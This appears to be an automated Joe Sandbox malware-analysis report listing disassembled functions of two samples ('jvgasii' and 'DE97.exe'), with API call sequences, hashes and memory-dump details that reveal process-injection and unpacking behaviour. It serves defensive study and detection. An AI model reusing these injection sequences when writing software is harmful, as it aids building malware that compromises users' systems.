Source File: 00000006.00000002.2516620134.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_jvgasii.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2c5afbad373231fc2fe72851e77a16272d6e8026ab94bc2156a59f1271be232c
Instruction ID: 7a8a064d68380c64131d995910f5c092f0e660b32494b1024d3e535184c76cf3
Opcode Fuzzy Hash: 2c5afbad373231fc2fe72851e77a16272d6e8026ab94bc2156a59f1271be232c
Instruction Fuzzy Hash: 78510875900249BFEF209F91CC48FAFBBB8FF86B10F144159F911AA2A5E6709940CB24

Function 00401557 Relevance: 10.7, APIs: 7, Instructions: 162
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000006.00000002.2516620134.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_jvgasii.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2a6c5c204d9128e257f6824072ce96b4ac123ccef225123859878a505f2b6fa6
Instruction ID: 25abb30e6883f9026caabbb74ebb32c420b3dbd3b7f631cb87a4d5ab1caa8f11
Opcode Fuzzy Hash: 2a6c5c204d9128e257f6824072ce96b4ac123ccef225123859878a505f2b6fa6
Instruction Fuzzy Hash: C75118B5900209BFEF209F91CC48FAFBBB8FF85B10F144169F911BA2A5D6709940CB24

Function 00402F97 Relevance: 3.2, APIs: 2, Instructions: 172
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 004030CB
NtTerminateProcess.NTDLL ref: 004030E4

Memory Dump Source

Source File: 00000006.00000002.2516620134.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_jvgasii.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: c5436c7e7e6e3e410a730c8ca40359fc9cb55dc58de8f82c61b8b97930139c1a
Instruction ID: 181ab879d947f068327b1ec0ddd27223b5b0ac2a90c427e8f19d47aa25efb225
Opcode Fuzzy Hash: c5436c7e7e6e3e410a730c8ca40359fc9cb55dc58de8f82c61b8b97930139c1a
Instruction Fuzzy Hash: 67417631228E0C4FD3A8DF2CA845BA277D5FB94311F6643AAE809D3389FA74C80183C5

Function 006B003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 006B024D

Strings

cess, xrefs: 006B018D
kernel32.dll, xrefs: 006B008F, 006B0095

Memory Dump Source

Source File: 00000006.00000002.2516805210.00000000006B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 006B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6b0000_jvgasii.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 1cbfe1bad8ad953d37be5dc3ae992457c84081cda89f7c9b413a08e1e8265b97
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 275279B5A00229DFDB64CF58C984BA9BBB1BF09304F1480E9E50DAB351DB30AE85DF14

Function 00418AF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00514D70), ref: 00418BCF
GetProcAddress.KERNEL32(00000000,0041F298), ref: 00418C0C
VirtualProtect.KERNELBASE(00514BB4,00514D6C,00000040,?), ref: 00418C2B

Strings

, xrefs: 00418B35

Memory Dump Source

Source File: 00000006.00000002.2516656554.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40b000_jvgasii.jbxd

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID:
API String ID: 2099061454-3916222277
Opcode ID: 41ccab38266b7cc203b6ab2e2252d2e1a9a4558b246985cc843167c3f4a64001
Instruction ID: 441cc07c50422e985bd597f44fd2245cc03bf1e09111bb194a1dfbca8cfcce31
Opcode Fuzzy Hash: 41ccab38266b7cc203b6ab2e2252d2e1a9a4558b246985cc843167c3f4a64001
Instruction Fuzzy Hash: 88314918508680CAEB01DB78FC057923B66AB75709F04E0B9D14C8B7B1D7BB051E9B6A

Function 007E0AE7 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 007E0B0F
Module32First.KERNEL32(00000000,00000224), ref: 007E0B2F

Memory Dump Source

Source File: 00000006.00000002.2517016123.00000000007DD000.00000040.00000020.00020000.00000000.sdmp, Offset: 007DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7dd000_jvgasii.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 6243af257bd6482d5254a30fe8d0f6230318426562d932069a697e55021b0894
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 5AF0C231101351ABD7202BB6AC8DF6A72E8BF4C328F100528E642910C0DAB8E8858AA0

Function 006B0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,006B0223,?,?), ref: 006B0E19
SetErrorMode.KERNELBASE(00000000,?,?,006B0223,?,?), ref: 006B0E1E

Memory Dump Source

Source File: 00000006.00000002.2516805210.00000000006B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 006B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6b0000_jvgasii.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 5ec0122905795958cf8b6ea84eb92189ad46b0a0d2fb6fa6a8bc84ef3f06bca4
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 19D0123114512877D7002A94DC09BCE7F1CDF05B62F008411FB0DD9180C770994147E5

Function 004016E5 Relevance: 1.6, APIs: 1, Instructions: 131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2516620134.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_jvgasii.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9d1cf4a24c3fc6c96abbd772e43917d0267fad9e090bec43cac2cfb706a48c3
Instruction ID: d7122d48263ec7d897cf7d78cd76de1228cda3bcac40411fc7d625d9091ea59c
Opcode Fuzzy Hash: c9d1cf4a24c3fc6c96abbd772e43917d0267fad9e090bec43cac2cfb706a48c3
Instruction Fuzzy Hash: AC41CE37908104DBDB14AA54C844ABA73A1AF84304F39853BD857776F0D67CAA43E79F

Function 004018E6 Relevance: 1.3, APIs: 1, Instructions: 63
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000006.00000002.2516620134.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_jvgasii.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: a4b5604c3fad4e3a9f3f792e8fb47035b06f8c3694b385928224ebe720cba1b7
Instruction ID: 08a90aa29aaa59261053d8f0d19a3ecdc4dd21bf61fce8c4d66a51d0c793aa75
Opcode Fuzzy Hash: a4b5604c3fad4e3a9f3f792e8fb47035b06f8c3694b385928224ebe720cba1b7
Instruction Fuzzy Hash: EB11A1F660C204FAEB106AA49C61E7A3318AB40754F304137F613790F5957D9A13F66F

Function 00401915 Relevance: 1.3, APIs: 1, Instructions: 59
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000006.00000002.2516620134.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_jvgasii.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 7bb1df720b8f813faa3697c6259eeb6b3a5716e5c382bc39f4698e2c5426f3b5
Instruction ID: d2c64d108ecd7190b789ce3c9d4f03e3911909dfd4099b6475a4add21270c3a3
Opcode Fuzzy Hash: 7bb1df720b8f813faa3697c6259eeb6b3a5716e5c382bc39f4698e2c5426f3b5
Instruction Fuzzy Hash: 6D019EB7208208E6DB006AA5AC51ABA33189B44359F304537F723790F6D57D8612E72F

Function 004018F1 Relevance: 1.3, APIs: 1, Instructions: 55
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000006.00000002.2516620134.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_jvgasii.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: db3408315eb658ba3491db04f2d46bddbd6b336d8c43cf969156009dde905ade
Instruction ID: b5ca90d31d4069b8fd1e735589466699ca1bb5e14181e618ca72d4e2f39bbf06
Opcode Fuzzy Hash: db3408315eb658ba3491db04f2d46bddbd6b336d8c43cf969156009dde905ade
Instruction Fuzzy Hash: D101D2B6608204EBDB019AF49C62A7A37549F44315F200137FA53790F1D67D8643E72F

Function 00401912 Relevance: 1.3, APIs: 1, Instructions: 52sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000006.00000002.2516620134.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_jvgasii.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 7e129187160df36b360d42079074bb08fe8934bb284168352239ee73acaefb28
Instruction ID: 0621b20c29367ada74e4c9127c9a5516285bec5e68af8f441e6b7f153e3f788d
Opcode Fuzzy Hash: 7e129187160df36b360d42079074bb08fe8934bb284168352239ee73acaefb28
Instruction Fuzzy Hash: 11017CB560C204EAEB109AA49C61A7A3318AB44354F304537FA27790F5D67D9612E72F

Function 007E07A6 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 007E07F7

Memory Dump Source

Source File: 00000006.00000002.2517016123.00000000007DD000.00000040.00000020.00020000.00000000.sdmp, Offset: 007DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7dd000_jvgasii.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 87d50c798d86d2e63bb831bfa1218a57fb5ecba0c6fa302f1ff768abe5681920
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 14113C79A00208EFDB01DF99C985E98BBF5EF08750F0580A4F9489B362D375EA90DF80

Function 00401925 Relevance: 1.3, APIs: 1, Instructions: 46sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000006.00000002.2516620134.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_jvgasii.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 2f4c2daa00eb47e2555f44135ed694f04ab08e7709eb0f7e86441ab925b63f7c
Instruction ID: ea6e3854d66af35421fcd7571e0742f45a6e64d38424a4e1b6315f5079e28d0a
Opcode Fuzzy Hash: 2f4c2daa00eb47e2555f44135ed694f04ab08e7709eb0f7e86441ab925b63f7c
Instruction Fuzzy Hash: 28F08CB6208204EADB00AEA49C61EBA3318AB44314F304533FB23790F5C67D8612E72F

Function 00418AC0 Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000,00514D6C,0041912F), ref: 00418AC8

Memory Dump Source

Source File: 00000006.00000002.2516656554.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40b000_jvgasii.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: c76493f27e26a282c6c9cfafab8c2d46abc60ae80d7b28fbf0ef9f8fe527b2c1
Instruction ID: 452ad643668a9869e20cf026667031a7807d1b47aa2963159c3e27e96442b96b
Opcode Fuzzy Hash: c76493f27e26a282c6c9cfafab8c2d46abc60ae80d7b28fbf0ef9f8fe527b2c1
Instruction Fuzzy Hash: F0B012B094A2009FDB00CF90FC44B903BB4F358702F00D061F500C1160D7304404EF16

Non-executed Functions

Function 00418D50 Relevance: 6.0, APIs: 4, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

QueryDosDeviceW.KERNEL32(00000000,?,00000000), ref: 00418D84
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00418D9F
HeapCreate.KERNEL32(00000000,00000000,00000000), ref: 00418DC2
GetNumaProcessorNode.KERNEL32(?,00000000), ref: 00418DD1

Memory Dump Source

Source File: 00000006.00000002.2516656554.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40b000_jvgasii.jbxd

Similarity

API ID: CreateDeviceEnvironmentFreeHeapNodeNumaProcessorQueryStrings
String ID:
API String ID: 2776817195-0
Opcode ID: f30173706c358a0a2784e69d0405cb642d2262f11b42eed8560d13ebc88a1c06
Instruction ID: e6d39fe0092bbab876aaf39b699cc254fd154f119dceba652d6ce7d41ca7bd17
Opcode Fuzzy Hash: f30173706c358a0a2784e69d0405cb642d2262f11b42eed8560d13ebc88a1c06
Instruction Fuzzy Hash: CD01D870A402049BD760AFA4FC45BDA37B4E71C705F40806AF605962D0DE745988DF9A

Function 00418CD0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

BuildCommDCBA.KERNEL32(00000000,?), ref: 00418CE4
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00418CF6

Strings

-, xrefs: 00418D2F

Memory Dump Source

Source File: 00000006.00000002.2516656554.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40b000_jvgasii.jbxd

Similarity

API ID: BuildCommEnvironmentFreeStrings
String ID: -
API String ID: 2991353152-2547889144
Opcode ID: 8d08779753d9f8bcff46eaf4c583cf6f56908dff42d916d2df929441dec03c69
Instruction ID: 810f788c3858191b0e6f136e57086e392da7284b159ae35535647157417a7ca4
Opcode Fuzzy Hash: 8d08779753d9f8bcff46eaf4c583cf6f56908dff42d916d2df929441dec03c69
Instruction Fuzzy Hash: 7CF0C83150530496E7119FA5ED807EE7B69EB19320F60422EED0456281CB784D8597AA

Analysis Process: DE97.exePID: 5780, Parent PID: 4004COMMON

Execution Graph

Execution Coverage:	12%
Dynamic/Decrypted Code Coverage:	16.5%
Signature Coverage:	0%
Total number of Nodes:	176
Total number of Limit Nodes:	8

Executed Functions

Function 004159A0 Relevance: 49.3, APIs: 24, Strings: 4, Instructions: 309
timefilepipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InterlockedCompareExchange.KERNEL32(?,00000000,00000000), ref: 00415ABA
ReadConsoleA.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00415AC7
FindAtomA.KERNEL32(00000000), ref: 00415ACE
GetConsoleMode.KERNEL32(00000000,00000000), ref: 00415AD6
SearchPathA.KERNEL32(00000000,00000000,00000000,00000000,?,?), ref: 00415AEE
GetDefaultCommConfigA.KERNEL32(00000000,?,00000000), ref: 00415B15
CopyFileW.KERNEL32(00000000,00000000,00000000), ref: 00415B1E
ConnectNamedPipe.KERNEL32(?,00000000), ref: 00415B32
ReadConsoleOutputW.KERNEL32(00000000,?,?,?,?), ref: 00415B77
GetModuleFileNameW.KERNEL32(00000000,?,00000000), ref: 00415B86
GetSystemTimeAdjustment.KERNEL32(00000000,00000000,00000000), ref: 00415B8F
ReleaseSemaphore.KERNEL32(00000000,00000000,00000000), ref: 00415BA1
SetCommState.KERNELBASE(00000000,00000000), ref: 00415BC8
GetConsoleAliasesLengthA.KERNEL32(00000000), ref: 00415BF9
GetComputerNameW.KERNEL32(?,?), ref: 00415C0D
GetTimeFormatA.KERNEL32(00000000,00000000,?,00417314,?,00000000), ref: 00415C4D
GetFileAttributesA.KERNEL32(00000000), ref: 00415C54
GetConsoleAliasExesLengthW.KERNEL32 ref: 00415C5A
GetBinaryTypeW.KERNEL32(00417334,?), ref: 00415C6C
FormatMessageA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00415C7F
GetLongPathNameA.KERNEL32(00417364,?,00000000), ref: 00415C92
GetCommState.KERNEL32(00000000,00000000), ref: 00415C9A

Strings

P4#vp^5w, xrefs: 004159B8
k`, xrefs: 00415D57
}$, xrefs: 00415D7B
@3#v, xrefs: 00415D83

Memory Dump Source

Source File: 00000009.00000002.2777292131.000000000040B000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_40b000_DE97.jbxd

Similarity

API ID: Console$CommFileName$FormatLengthPathReadStateTime$AdjustmentAliasAliasesAtomAttributesBinaryCompareComputerConfigConnectCopyDefaultExchangeExesFindInterlockedLongMessageModeModuleNamedOutputPipeReleaseSearchSemaphoreSystemType
String ID: @3#v$P4#vp^5w$k`$}$
API String ID: 3800548968-402751238
Opcode ID: 5e6c1ea0dd6b9c12ce414f54bdebe71c2c6476f5e84dd2541a6dae526580182b
Instruction ID: b74f69d15b1c00e371bae04283b2e7407a3b84b28a54ffdc86722d59f2fd5859
Opcode Fuzzy Hash: 5e6c1ea0dd6b9c12ce414f54bdebe71c2c6476f5e84dd2541a6dae526580182b
Instruction Fuzzy Hash: 6CB11671841528EBD725DB61DC48EEF7B78EF49350F0180AAF609A2150DB789AC1CFAD

Function 004014FB Relevance: 10.8, APIs: 7, Instructions: 316
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.2777267283.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_DE97.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 934dc258b1fd10f4e66b4cbfde8a53cb0d8b0c8237b07dea73acb5d59905d160
Instruction ID: 8456862ab07ee4fd5df19115d19177d22808884b2e91bbb4bd05fd593ecc01b1
Opcode Fuzzy Hash: 934dc258b1fd10f4e66b4cbfde8a53cb0d8b0c8237b07dea73acb5d59905d160
Instruction Fuzzy Hash: CFA1E3B1604215BFDF218F95CC45FAB7BB8EF82710F14006BE942BB1E1D6399902DB5A

Function 004015FB Relevance: 10.7, APIs: 7, Instructions: 180
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040170E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040172C
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000,?,00000079), ref: 0040176D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040179E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017C0

Memory Dump Source

Source File: 00000009.00000002.2777267283.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_DE97.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 8aaa4946e75727fc09ad2f405e2a017ad71aadc6c477ed290025760324e3469e
Instruction ID: eff60cd738278fe88036fd12be8a847ac689736a027776baabbfcbb81c570d02
Opcode Fuzzy Hash: 8aaa4946e75727fc09ad2f405e2a017ad71aadc6c477ed290025760324e3469e
Instruction Fuzzy Hash: 20512DB4900205BBEF208F91CC48FAFBBB8EF85B00F14416AF911BA2E5D7759945CB64

Function 00401613 Relevance: 10.7, APIs: 7, Instructions: 176
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040170E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040172C
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000,?,00000079), ref: 0040176D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040179E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017C0

Memory Dump Source

Source File: 00000009.00000002.2777267283.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_DE97.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: ad766b3969fddc35dc3ff1f72950dd3bc16db4ac8334f03efc3fd571d50c1c7d
Instruction ID: 5fe8c3412efddb1af6587580d34f391b5aa6f3f620f4969ff4058e4fba2aebcc
Opcode Fuzzy Hash: ad766b3969fddc35dc3ff1f72950dd3bc16db4ac8334f03efc3fd571d50c1c7d
Instruction Fuzzy Hash: 385129B5900245BBEF218F91CC48FEFBBB8EF86B00F144169F911AA2A5D7719905CB64

Function 00401606 Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040170E

Memory Dump Source

Source File: 00000009.00000002.2777267283.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_DE97.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID:
API String ID: 1652636561-0
Opcode ID: e0c996b45f475bcdee2b3acca27bfff8738185ab06689bd0def3de9b12292fcf
Instruction ID: 18644dced9cd2caf62a4109051f94e3e0c196277adac1f1b80d81581f0248fb5
Opcode Fuzzy Hash: e0c996b45f475bcdee2b3acca27bfff8738185ab06689bd0def3de9b12292fcf
Instruction Fuzzy Hash: 95512AB4900245BBEF208F91CC48FAFBBB8EF85B00F14416AF911BA2E5D7759941CB64

Function 00401627 Relevance: 10.7, APIs: 7, Instructions: 170
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040170E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040172C
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000,?,00000079), ref: 0040176D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040179E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017C0

Memory Dump Source

Source File: 00000009.00000002.2777267283.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_DE97.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: d0133b7f997d866bd9f22ed6d19c972adefd9311a1b1e22c4a59d1e070b776c3
Instruction ID: 9010f4212e2f095ee6e1513bebcb31b7ed322fe9e8888bc62802b8a5d7df5652
